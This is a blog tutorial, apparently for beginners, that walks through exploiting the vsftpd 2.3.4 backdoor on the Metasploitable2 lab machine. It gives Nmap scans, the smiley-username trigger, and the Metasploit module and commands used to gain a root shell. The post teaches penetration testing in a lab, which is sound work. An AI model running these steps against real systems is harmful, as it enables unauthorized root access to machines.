Exploiting vsftpd 2.3.4 on Metasploitable2 (Step-by-Step Guide for Beginners)

Alex Agyei — Tue, 05 May 2026 23:48:00 +0000

One of the biggest turning points in learning cybersecurity is understanding how attackers move from:

Discovery → Exploitation → Access

In a training session I led, students went from running a simple scan to gaining root access on a vulnerable machine. The excitement was great — but the real value was understanding how and why it worked.

In this guide, you'll replicate that exact process step by step.

What You’ll Learn

How to scan a target using Nmap
How to identify vulnerable services
How the vsftpd 2.3.4 backdoor works
How to exploit it using Metasploit
How to gain root access

Prerequisites

Make sure your lab is ready:

Kali Linux (attacker)

Metasploitable2 (target)

Both machines on the same network (NAT or Host-only)

Step 1: Get the Target IP

On Metasploitable2:

ifconfig

Look for something like:

192.168.56.101

Step 2: Scan with Nmap

On Kali:

nmap -sV target_ip

Why -sV matters

Detects service versions
Helps you find known vulnerabilities

Key Result
21/tcp open ftp vsftpd 2.3.4

👉 This is your entry point.

Step 3: Understand the Vulnerability

vsftpd 2.3.4 contains a backdoor.

Trigger condition:
Login using a username ending with:
:)
What happens:
A shell opens on port 6200

This is intentionally vulnerable — perfect for learning exploitation.

Step 4: Start Metasploit on kali

msfconsole

Step 5: Find the Exploit

search vsftpd

Expected result:
exploit/unix/ftp/vsftpd_234_backdoor

Step 6: Load the Exploit

use exploit/unix/ftp/vsftpd_234_backdoor

Step 7: Set Target IP

set RHOST target_ip

Step 8: Run the Exploit

run

If successful:

Command shell session 1 opened

Step 9: Confirm Access

whoami

Output:

root

🎉 You now have root access.

Key Concepts (Simple Breakdown)

Reconnaissance
Finding open ports and services
Example tool: Nmap

Enumeration
Identifying versions and weaknesses
This is where real attack paths appear

Exploitation
Using a vulnerability to gain access
In this case: a built-in backdoor

Metasploit
A framework that automates exploitation
Saves time and standardizes attacks

Common Beginner Mistakes

Skipping Version Detection

Wrong:

nmap target_ip

Correct:

nmap -sV target_ip

Using the Wrong IP Mixing attacker and target IP Using 127.0.0.1 incorrectly

✔ Always verify:

ifconfig

Network Misconfiguration

If nothing works:

Check both VMs are on the same network

Forgetting RHOST
set RHOST target_ip
Blindly Running Exploits

Don’t just run tools — ask:

Why does this vulnerability exist?
What triggered it?
How would this look in a real system?
Pro Tips
Run deeper scans
nmap -A target_ip
Think like a professional

Use a workflow:

Scan
Identify
Research
Exploit
Validate
Conclusion

This lab shows a complete beginner-friendly attack chain:

Discover a service
Identify its version
Find a vulnerability
Exploit it
Gain access

Even though this is a deliberately vulnerable system, the process is exactly how real penetration testing works.

The goal is not just to hack — but to understand.

Next Steps
Repeat this lab without guidance
Document it on GitHub (build your portfolio)
Try another vulnerable service on Metasploitable2
Final Note

If you're learning cybersecurity:

Stay consistent.
Stay curious.
Keep building.

Follow for more hands-on cybersecurity labs and real-world breakdowns.

DEV Community: Alex Agyei